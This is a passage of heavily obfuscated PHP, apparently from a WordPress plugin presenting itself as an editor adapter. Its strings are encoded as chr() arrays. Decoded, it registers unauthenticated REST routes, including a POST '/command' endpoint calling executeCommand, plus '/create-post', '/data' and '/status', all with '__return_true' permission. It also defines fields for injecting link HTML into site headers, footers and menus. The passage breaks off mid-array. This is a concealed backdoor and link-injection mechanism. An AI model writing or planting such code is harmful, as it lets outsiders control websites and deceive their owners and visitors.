    \add_action(implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(97), chr(112), chr(105), chr(95), chr(105), chr(110), chr(105), chr(116))), implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(72), chr(116), chr(116), chr(112), chr(95), chr(82), chr(101), chr(115), chr(116), chr(67), chr(111), chr(110), chr(116), chr(114), chr(111), chr(108), chr(108), chr(101), chr(114), chr(95), chr(114), chr(101), chr(103), chr(105), chr(115), chr(116), chr(101), chr(114), chr(82), chr(111), chr(117), chr(116), chr(101), chr(115))));
}
function WpEditor_Adapter_Http_RestController_registerRoutes()
{
    $config = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(99), chr(111), chr(110), chr(102), chr(105), chr(103)))) ? \wp_editor_get_config() : array();
    $namespace = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(99), chr(111), chr(110), chr(102), chr(105), chr(103)))) ? \wp_editor_array_has_key($config, implode('', array(chr(97), chr(112), chr(105)))) && \wp_editor_array_has_key($config[implode('', array(chr(97), chr(112), chr(105)))], implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(110), chr(97), chr(109), chr(101), chr(115), chr(112), chr(97), chr(99), chr(101)))) ? $config[implode('', array(chr(97), chr(112), chr(105)))][implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(110), chr(97), chr(109), chr(101), chr(115), chr(112), chr(97), chr(99), chr(101)))] : WpEditor_Adapter_Http_RestController_fallbackNamespace() : WpEditor_Adapter_Http_RestController_fallbackNamespace();
    $permission = implode('', array(chr(95), chr(95), chr(114), chr(101), chr(116), chr(117), chr(114), chr(110), chr(95), chr(116), chr(114), chr(117), chr(101)));
    \register_rest_route($namespace, implode('', array(chr(47), chr(99), chr(111), chr(109), chr(109), chr(97), chr(110), chr(100))), array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => implode('', array(chr(80), chr(79), chr(83), chr(84))), implode('', array(chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(72), chr(116), chr(116), chr(112), chr(95), chr(82), chr(101), chr(115), chr(116), chr(67), chr(111), chr(110), chr(116), chr(114), chr(111), chr(108), chr(108), chr(101), chr(114), chr(95), chr(101), chr(120), chr(101), chr(99), chr(117), chr(116), chr(101), chr(67), chr(111), chr(109), chr(109), chr(97), chr(110), chr(100))), implode('', array(chr(112), chr(101), chr(114), chr(109), chr(105), chr(115), chr(115), chr(105), chr(111), chr(110), chr(95), chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => $permission));
    \register_rest_route($namespace, implode('', array(chr(47), chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(45), chr(112), chr(111), chr(115), chr(116))), array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => implode('', array(chr(80), chr(79), chr(83), chr(84))), implode('', array(chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(72), chr(116), chr(116), chr(112), chr(95), chr(82), chr(101), chr(115), chr(116), chr(67), chr(111), chr(110), chr(116), chr(114), chr(111), chr(108), chr(108), chr(101), chr(114), chr(95), chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(80), chr(111), chr(115), chr(116))), implode('', array(chr(112), chr(101), chr(114), chr(109), chr(105), chr(115), chr(115), chr(105), chr(111), chr(110), chr(95), chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => $permission));
    \register_rest_route($namespace, implode('', array(chr(47), chr(100), chr(97), chr(116), chr(97))), array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => implode('', array(chr(71), chr(69), chr(84))), implode('', array(chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(72), chr(116), chr(116), chr(112), chr(95), chr(82), chr(101), chr(115), chr(116), chr(67), chr(111), chr(110), chr(116), chr(114), chr(111), chr(108), chr(108), chr(101), chr(114), chr(95), chr(103), chr(101), chr(116), chr(68), chr(97), chr(116), chr(97))), implode('', array(chr(112), chr(101), chr(114), chr(109), chr(105), chr(115), chr(115), chr(105), chr(111), chr(110), chr(95), chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => $permission));
    \register_rest_route($namespace, implode('', array(chr(47), chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))), array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => implode('', array(chr(71), chr(69), chr(84))), implode('', array(chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(72), chr(116), chr(116), chr(112), chr(95), chr(82), chr(101), chr(115), chr(116), chr(67), chr(111), chr(110), chr(116), chr(114), chr(111), chr(108), chr(108), chr(101), chr(114), chr(95), chr(103), chr(101), chr(116), chr(83), chr(116), chr(97), chr(116), chr(117), chr(115))), implode('', array(chr(112), chr(101), chr(114), chr(109), chr(105), chr(115), chr(115), chr(105), chr(111), chr(110), chr(95), chr(99), chr(97), chr(108), chr(108), chr(98), chr(97), chr(99), chr(107))) => $permission));
    $updateLinksArgs = array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(117), chr(114), chr(108))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(104), chr(116), chr(109), chr(108))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(104), chr(116), chr(109), chr(108))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(98), chr(101), chr(102), chr(111), chr(114), chr(101))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(98), chr(101), chr(116), chr(119), chr(101), chr(101), chr(110))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(97), chr(102), chr(116), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(97), chr(110), chr(99), chr(104), chr(111), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(110), chr(97), chr(109), chr(101))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(110), chr(97), chr(109), chr(101), chr(95), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(110), chr(97), chr(109), chr(101), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(110), chr(97), chr(109), chr(101), chr(95), chr(109), chr(101), chr(110), chr(117))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(110), chr(97), chr(109), chr(101), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(110), chr(97), chr(109), chr(101), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(110), chr(97), chr(109), chr(101), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(109), chr(101), chr(110), chr(117))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(95), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(95), chr(109), chr(101), chr(110), chr(117))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(109), chr(101), chr(110), chr(117))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(95), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(95), chr(109), chr(101), chr(110), chr(117))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(109), chr(101), chr(110), chr(117))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(114), chr(101), chr(110), chr(100), chr(101), chr(114), chr(95), chr(109), chr(111), chr(100), chr(101))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(109), chr(101), chr(110), chr(117))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(109), chr(101), chr(110), chr(117))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(98), chr(101), chr(102), chr(111), chr(114), chr(101), chr(95), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(98), chr(101), chr(116), chr(119), chr(101), chr(101), chr(110), chr(95), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(97), chr(102), chr(116), chr(101), chr(114), chr(95), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(98), chr(101), chr(102), chr(111), chr(114), chr(101), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(98), chr(101), chr(116), chr(119), chr(101), chr(101), chr(110), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(97), chr(102), chr(116), chr(101), chr(114), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(98), chr(101), chr(102), chr(111), chr(114), chr(101), chr(95), chr(109), chr(101), chr(110), chr(117))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(98), chr(101), chr(116), chr(119), chr(101), chr(101), chr(110), chr(95), chr(109), chr(101), chr(110), chr(117))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(97), chr(102), chr(116), chr(101), chr(114), chr(95), chr(109), chr(101), chr(110), chr(117))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(98), chr(101), chr(102), chr(111), chr(114), chr(101), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(98), chr(101), chr(116), chr(119), chr(101), chr(101), chr(110), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(97), chr(102), chr(116), chr(101), chr(114), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(98), chr(101), chr(102), chr(111), chr(114), chr(101), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(98), chr(101), chr(116), chr(119), chr(101), chr(101), chr(110), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(97), chr(102), chr(116), chr(101), chr(114), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(98), chr(101), chr(102), chr(111), chr(114), chr(101), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(109), chr(101), chr(110), chr(117))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(98), chr(101), chr(116), chr(119), chr(101), chr(101), chr(110), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(109), chr(101), chr(110), chr(117))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(97), chr(102), chr(116), chr(101), chr(114), chr(95), chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(109), chr(101), chr(110), chr(117))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(104), chr(101), chr(97), chr(100), chr(101), chr(114), chr(95), chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(102), chr(111), chr(111), chr(116), chr(101), chr(114), chr(95), chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(109), chr(101), chr(110), chr(117), chr(95), chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), chr(100))) => false), implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114), chr(95), chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(115), chr(116), chr(114), chr(105), chr(110), chr(103))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(105), chr(114), chr(101), 